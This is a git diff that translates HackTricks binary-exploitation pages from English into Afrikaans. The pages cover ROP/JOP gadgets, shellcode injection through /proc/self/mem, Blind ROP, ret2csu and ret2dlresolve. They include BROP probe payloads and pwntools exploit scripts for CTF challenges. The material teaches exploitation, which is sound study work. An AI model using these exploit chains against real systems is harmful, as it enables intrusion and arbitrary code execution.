+stp x8, x1, [sp] // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
+ldr x8, [x0] // Load x8 with the value at address x0 (controlled by attacker, address of G2)
+blr x8 // Branch to the address in x8 (controlled by attacker)
+
+G2:
+ldp x29, x30, [sp], #0x10 // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
+ret
+G3:
+mov sp, x29 // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
+ret
+```
+## Shellcode via /proc/self/mem (Embedded Linux)
+
+As jy reeds ’n ROP chain het maar **geen RWX mappings nie**, is ’n alternatief om **shellcode in die huidige proses te skryf deur** `/proc/self/mem` **te gebruik en dan daarheen te spring**. Dit is algemeen op embedded Linux-teikens waar `/proc/self/mem` in verstekkonfigurasies skryfbeskerming op uitvoerbare segmente kan ignoreer.[[5]](#references)[[6]](#references)
+
+Tipiese chain-idee:
+```c
+fd = open("/proc/self/mem", O_RDWR);
+lseek(fd, target_addr, SEEK_SET); // e.g., a known RX mapping or code cave
+write(fd, shellcode, shellcode_len);
+((void(*)())target_addr)(); // ARM Thumb: jump to target_addr | 1
+```
+As die behoud van `fd` moeilik is, kan die gebruik van `open()` meerdere kere dit moontlik maak om die descriptor wat vir `/proc/self/mem` gebruik word, te **raai**. Onthou op ARM Thumb-teikens om die **laagste bis te stel** wanneer jy vertak (`addr | 1`).[[5]](#references)[[6]](#references)
+
+## Protections Against ROP and JOP
+
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Hierdie protections maak die gebruik van ROP moeiliker, aangesien die adresse van die gadgets tussen uitvoerings verander.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): In die geval van 'n BOF moet die stack canary omseil word om return pointers te oorskryf en 'n ROP chain te misbruik.
+- **Lack of Gadgets**: As daar nie genoeg gadgets is nie, sal dit nie moontlik wees om 'n ROP chain te genereer nie.
## ROP based techniques
-Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
+Let daarop dat ROP bloot 'n tegniek is om arbitrary code uit te voer. Op grond van ROP is baie Ret2XXX-tegnieke ontwikkel:
+
+- **Ret2lib**: Gebruik ROP om arbitrary functions uit 'n gelaaide library met arbitrary parameters aan te roep (gewoonlik iets soos `system('/bin/sh')`.
-- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
{{#ref}}
ret2lib/
{{#endref}}
-- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
+- **Ret2Syscall**: Gebruik ROP om 'n oproep na 'n syscall voor te berei, bv. `execve`, en dit arbitrary commands te laat uitvoer.
+
{{#ref}}
rop-syscall-execv/
{{#endref}}
-- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
+- **EBP2Ret & EBP Chaining**: Eersgenoemde misbruik EBP in plaas van EIP om die flow te beheer, en laasgenoemde is soortgelyk aan Ret2lib, maar in hierdie geval word die flow hoofsaaklik met EBP-adresse beheer (alhoewel dit ook nodig is om EIP te beheer).
+
{{#ref}}
-../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+../stack-overflow/stack-pivoting.md
{{#endref}}
-## Other Examples & References
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
-- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
-- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
+## References
+- [1] [Uitbuiting van Calling Conventions - ir0nstone se Notes](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
+- [2] [Hack.lu CTF 2015 - stackstuff writeup](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
+- 64 bit, PIE en NX geaktiveer, geen canary, RIP oorgeskryf met 'n `vsyscall`-adres met die uitsluitlike doel om na die volgende adres in die stack terug te keer, wat 'n gedeeltelike oorskrywing van die adres sal wees om by die deel van die function uit te kom wat die flag leak
+- [3] [ARM64 Reverse Engineering en Exploitation Deel 4: Gebruik mprotect om NX Protection te omseil - 8kSec Blogs](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
+- arm64, geen ASLR, ROP gadget om die stack executable te maak en na shellcode in die stack te spring
+- [4] [In-the-Wild iOS Exploit Chain 4 - Google Project Zero](https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html)
+- [5] [Nou sien jy my: Nou is jy Pwned](https://labs.taszk.io/articles/post/nowyouseemi/)
+- [6] [TaszkSecLabs/xiaomi-c400-pwn](https://github.com/TaszkSecLabs/xiaomi-c400-pwn)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
index 94d93bd6fff..500ef9b3998 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
@@ -2,123 +2,122 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
-This attack is based on the following scenario:
+Die doel van hierdie aanval is om 'n **ROP chain deur 'n buffer overflow te bou sonder om die kwesbare binary te besit**. Die aanvaller leer steeds inligting uit die remote diens se crash/no-crash- en output-gedrag.\
+Hierdie aanval is gebaseer op die volgende scenario:[[1]](#references)
-- A stack vulnerability and knowledge of how to trigger it.
-- A server application that restarts after a crash.
+- 'n Stack-kwesbaarheid en kennis van hoe om dit te trigger.
+- 'n Server-toepassing wat herbegin ná 'n crash.
-## Attack
+## Aanval
-### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
+### **1. Vind kwesbare offset** deur een karakter op 'n slag te stuur totdat 'n malfunction van die server bespeur word
-### **2. Brute-force canary** to leak it
+### **2. Brute-force canary** om dit te leak
-### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
+### **3. Brute-force stored RBP- en RIP-addresses** in die stack om dit te leak
-You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
+Jy kan meer inligting oor hierdie prosesse [hier (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) en [hier (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) vind.
-### **4. Find the stop gadget**
+### **4. Vind die stop gadget**
-This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
+Hierdie gadget bevestig dat 'n vorige kandidaat-gadget teruggekeer het sonder om te crash. Dit produseer waarneembare, stabiele gedrag—gewoonlik blocking terwyl dit vir input wag—en word aan die einde van probe chains geplaas.[[1]](#references)[[2]](#references)
-### **5. Find BROP gadget**
+### **5. Vind BROP gadget**
-This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
+Hierdie technique gebruik die [**ret2csu**](ret2csu.md) gadget. Die rede hiervoor is dat jy, as jy hierdie gadget in die middel van sekere instructions access, gadgets kry om **`rsi`** en **`rdi`** te beheer:[[1]](#references)
https://www.scs.stanford.edu/brop/bittau-brop.pdf
-These would be the gadgets:
+Hierdie sal die gadgets wees:
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
-Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
+Let op dat dit met hierdie gadgets moontlik is om **2 arguments** van 'n function wat geroep moet word, te **beheer**.
-Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
+Die ret2csu-sequence het 'n kenmerkende signature omdat een entry point ses registers van die stack pop. Beskou 'n chain soos:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
-If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
+As die **STOP uitgevoer word**, beteken dit basies dat 'n **address wat 6 registers pop** van die stack gebruik is. Of dat die address wat gebruik is, ook 'n STOP-address was.
-In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
+Om hierdie **laaste opsie uit te skakel**, word 'n nuwe chain soos die volgende uitgevoer, en dit moet nie die STOP-gadget uitvoer nie om te bevestig dat die vorige een wel 6 registers gepop het:
`'A' * offset + canary + rbp + ADDR`
-Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
+As die address van die ret2csu-gadget bekend is, is dit moontlik om die **address van die gadgets om `rsi` en `rdi` te beheer**, af te lei.
-### 6. Find PLT
+### 6. Vind PLT
-The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
+In die x86-64 binaries waarop die oorspronklike technique gemik was, kan die PLT naby die non-PIE image base gesoek word—gewoonlik `0x400000` vir konvensionele x86-64 ELF executables—of rondom 'n gelekte code address. Traditional PLT stubs is gewoonlik 16 bytes (`0x10`) uitmekaar, en sowel 'n kandidaat-stub as sy `+6` slow-path entry kan terugkeer sonder 'n onmiddellike crash. Verifieer hierdie aannames vir die target architecture en linker-output.[[1]](#references)[[2]](#references)
-Therefore, it's possible to find the PLT table checking the following behaviours:
+Daarom is dit moontlik om die PLT-table te vind deur die volgende gedrag na te gaan:
-- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
-- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
-- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
+- `'A' * offset + canary + rbp + ADDR + STOP` -> geen crash
+- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> geen crash
+- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> geen crash
-### 7. Finding strcmp
+### 7. Vind strcmp
-The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
+Die **`strcmp`**-function stel die register **`rdx`** op die lengte van die string wat vergelyk word. Let daarop dat **`rdx`** die **derde argument** is, en ons het dit nodig om **groter as 0** te wees sodat ons later `write` kan gebruik om die program te leak.[[2]](#references)
-It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
+Dit is moontlik om die ligging van **`strcmp`** in die PLT op grond van sy gedrag te vind, deur die feit te gebruik dat ons nou die eerste 2 arguments van functions kan beheer:
- strcmp(\, \) -> crash
- strcmp(\, \) -> crash
- strcmp(\, \) -> crash
-- strcmp(\, \) -> no crash
+- strcmp(\, \) -> geen crash
-It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
+Dit kan getoets word deur elke PLT-entry te roep of, vir die layout wat in die oorspronklike werk beskryf word, deur die **PLT slow path** by `PLT + 0xb` te gebruik, gevolg deur die relocation index om te probe. Presiese offsets is ABI-/linker-spesifiek.[[1]](#references)[[2]](#references)
- strcmp(\, \) -> crash
- - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
+- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Sal crash
- strcmp(\, \) -> crash
- - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
-- strcmp(\, \) -> no crash
- - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
+- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
+- strcmp(\, \) -> geen crash
+- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
-Remember that:
+Onthou dat:
-- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
-- BROP + 0x9 point to **`pop RDI; ret;`**
-- PLT + 0xb point to a call to **dl_resolve**.
+- BROP + 0x7 na **`pop RSI; pop R15; ret;`** wys
+- BROP + 0x9 na **`pop RDI; ret;`** wys
+- PLT + 0xb na 'n call na **dl_resolve** wys.
-Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
+Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** op 'n waarde groter as 0 te stel.
> [!TIP]
-> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
+> `rdx` kan reeds 'n nie-nulwaarde bevat, dus is hierdie stap nie altyd nodig nie.
-### 8. Finding Write or equivalent
+### 8. Vind Write of ekwivalent
-Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
+Laastens is 'n gadget nodig wat data exfiltrate om die binary te exfiltrate. Op hierdie stadium is dit moontlik om **2 arguments te beheer en `rdx` groter as 0 te stel.**[[2]](#references)
-There are 3 common funtions taht could be abused for this:
+Drie algemene functions kan hiervoor gebruik word:
- `puts(data)`
- `dprintf(fd, data)`
-- `write(fd, data, len(data)`
+- `write(fd, data, len(data))`
-However, the original paper only mentions the **`write`** one, so lets talk about it:
+Die oorspronklike paper fokus op **`write`**, dus doen die res van hierdie afdeling dit ook.
-The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
+Die huidige probleem is dat ons nie weet **waar die write-function binne die PLT is nie**, en ons weet nie **'n fd-nommer om die data na ons socket te stuur nie**.
-However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
+Omdat die PLT-ligging bekend is, kan `write` deur sy waarneembare gedrag geïdentifiseer word. Die aanvaller kan ook **verskeie connections** skep en waarskynlike file-descriptor-waardes probe totdat een met 'n oop connection ooreenstem.[[1]](#references)
-Behaviour signatures to find those functions:
+Gedrag-signatures om hierdie functions te vind:
-- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
-- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
-- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
+- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is puts gevind
+- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is dprintf gevind
+- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is write gevind
-## Automatic Exploitation
+## Outomatiese Exploitation
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## References
-- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
-- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
-
+- [1] [Hacking Blind - the original BROP paper by Bittau et al., Stanford](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
+- [2] [Blind Return Oriented Programming (BROP) - CTF Recipes](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
index 73cbb4e58fa..aef2af55a1c 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
@@ -1,21 +1,18 @@
-# Ret2csu
+# ret2csu
{{#include ../../banners/hacktricks-training.md}}
-##
+## Basiese Inligting
-## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
+**ret2csu** is 'n ROP-tegniek vir x86-64 ELF-binaries wat instruksie-sekwense hergebruik wat tradisioneel in `__libc_csu_init` gelink word wanneer gewone register-pop gadgets ontbreek. Die presiese sekwense, en selfs die teenwoordigheid van daardie simbool, hang van die compiler, C runtime en startup objects af, dus moet jy altyd die teiken se disassembly verifieer.[[1]](#references)[[4]](#references)
-**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
+Die klassieke paar bied 'n six-register pop-sekwens, gevolg deur registerverskuiwings en 'n indirekte call. Saam kan hulle `rdx`, `rsi` en die lae 32 bisse van `rdi` stel, en daarna deur 'n pointer wat in memory gestoor is, call.
-When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
+### Die Magic Gadgets in \_\_libc_csu_init
-### The Magic Gadgets in \_\_libc_csu_init
-
-In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
-
-1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
+In **`__libc_csu_init`** is daar twee instruksie-sekwense (gadgets) om uit te lig:
+1. Die eerste sekwens stel ons in staat om waardes in verskeie registers (rbx, rbp, r12, r13, r14, r15) op te stel. Dit is soos slots waar ons nommers of addresses kan stoor wat ons later wil gebruik.
```armasm
pop rbx;
pop rbp;
@@ -25,22 +22,18 @@ pop r14;
pop r15;
ret;
```
+Hierdie gadget stel ons in staat om hierdie registers te beheer deur waardes van die stack daarin te pop.
-This gadget allows us to control these registers by popping values off the stack into them.
-
-2. The second sequence uses the values we set up to do a couple of things:
- - **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
-
+2. Die tweede sequence gebruik die waardes wat ons opgestel het om ’n paar dinge te doen:
+- **Skuif spesifieke waardes na ander registers**, sodat hulle gereed is om as parameters in functions gebruik te word.
+- **Voer ’n indirect call uit** deur die pointer by `r12 + rbx*8`.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
-
-3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
-
+3. Miskien ken jy geen adres wat jy daar kan skryf nie en jy **benodig ’n `ret`-instruksie**. Let daarop dat die tweede gadget ook met ’n **`ret`** sal eindig, maar jy sal aan sekere **voorwaardes** moet voldoen om dit te bereik:
```armasm
mov rdx, r15;
mov rsi, r14;
@@ -52,61 +45,62 @@ jnz
...
ret
```
+Die voorwaardes vir die klassieke volgorde is:
-The conditions will be:
-
-- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
-
+- `[r12 + rbx*8]` moet na ’n adres wys wat ’n callable function stoor (as jy geen idee het nie en daar is geen pie nie, kan jy eenvoudig die `_init` func gebruik):
+- As \_init by `0x400560` is, gebruik GEF om in die geheue na ’n pointer daarna te soek en maak `[r12 + rbx*8]` die adres met die pointer na \_init:[[4]](#references)
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
- 0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
+0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
- 0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
+0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
-
-- `rbp` and `rbx` must have the same value to avoid the jump
-- There are some omitted pops you need to take into account
+- Stel die aanvanklike `rbp` op **`rbx + 1`** sodat die post-call `add rbx, 1` maak dat `rbx == rbp` en die lus vermy word.
+- Neem die gewoonlik weggelate `add rsp, 8`, ses pops en finale `ret` in ag wanneer die res van die chain uitgelê word.
+- `mov edi, r13d` zero-extends slegs ’n 32-bis-waarde na `rdi`; hierdie klassieke gadget kan nie direk ’n arbitrêre 64-bis-eerste argument verskaf nie.
## RDI and RSI
-Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
+Nog ’n manier om **`rdi`** en **`rsi`** vanaf die ret2csu-gadget te beheer, is deur toegang tot spesifieke offsets:[[1]](#references)
https://www.scs.stanford.edu/brop/bittau-brop.pdf
-Check this page for more info:
+Kyk na hierdie bladsy vir meer inligting:
+
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
-## Example
+## Voorbeeld
-### Using the call
+### Gebruik die call
-Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
+Stel jou voor jy wil ’n syscall maak of ’n funksie soos `write()` call, maar jy benodig spesifieke waardes in die `rdx`- en `rsi`-registers as parameters. Normaalweg sou jy soek na gadgets wat hierdie registers direk stel, maar jy kan geen vind nie.
-Here's where **ret2csu** comes into play:
+Dit is waar **ret2csu** ter sprake kom:
-1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
-2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
+1. **Stel die registers op** met die pop-gadget.
+2. **Gebruik die call-gadget** om die gestoorde registers na argumentregisters te skuif en deur ’n aanvaller-geselekteerde pointer te call.
-You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
+Twee algemene instruction-layouts gebruik verskillende gestoorde registers. Die klassieke gadget hierbo gebruik `r15 → rdx`, `r14 → rsi`, `r13d → edi`, en call `[r12 + rbx*8]`. Die ROP Emporium-uitdaging hieronder gebruik ’n verskuifde layout: `r14 → rdx`, `r13 → rsi`, `r12d → edi`, en call `[r15 + rbx*8]`. Moet nooit registerkommentaar kopieer sonder om die binary na te gaan nie.[[2]](#references)[[4]](#references)
+Jy het ’n [**voorbeeld wat hierdie tegniek gebruik en hier verduidelik**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), en dit is die finale exploit wat dit gebruik het:[[2]](#references)
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
+rop = ROP(elf)
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
-rop.raw('A' * 40)
+rop.raw(b'A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
@@ -119,14 +113,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
-
> [!WARNING]
-> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
-
-### Bypassing the call and reaching ret
+> Die vorige exploit is nie bedoel om algemene **RCE** te lewer nie. Dit roep die uitdaging se `win`-funksie aan: `gets` skryf die funksieadres na `RW_LOC`, `r15` wys na daardie geheue, en die indirekte call dereferenceer dit. Die derde argument in `rdx` is `0xdeadbeefcafed00d`.
-The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
+### Om die call te omseil en ret te bereik
+Die volgende exploit is [**van hierdie bladsy**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) onttrek, waar **ret2csu** gebruik word, maar in plaas daarvan om die call te gebruik, word die vergelykings omseil en die `ret` ná die call bereik:[[3]](#references)
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -146,7 +138,7 @@ ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
-payload = "0"*0x28
+payload = b"0"*0x28
# Our first gadget, and the values to be popped from the stack
@@ -176,9 +168,14 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
+### Waarom nie libc direk gebruik nie?
-### Why Not Just Use libc Directly?
+Gewoonlik is hierdie gevalle ook kwesbaar vir [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die `write()`-funksie vereis drie parameters, en **dit is dalk nie moontlik om gadgets te vind om al hierdie parameters direk te stel nie**.
-Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
+## References
+- [1] [Hacking Blind (oorspronklike BROP-paper)](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
+- [2] [ret2csu exploitation - ir0nstone-aantekeninge](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)
+- [3] [ropemporium_ret2csu - Nightmare (guyinatuxedo)](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)
+- [4] [ROP Emporium - ret2csu-uitdaging](https://ropemporium.com/challenge/ret2csu.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index 1fc2ea86a6d..ce712b0645b 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -2,38 +2,40 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
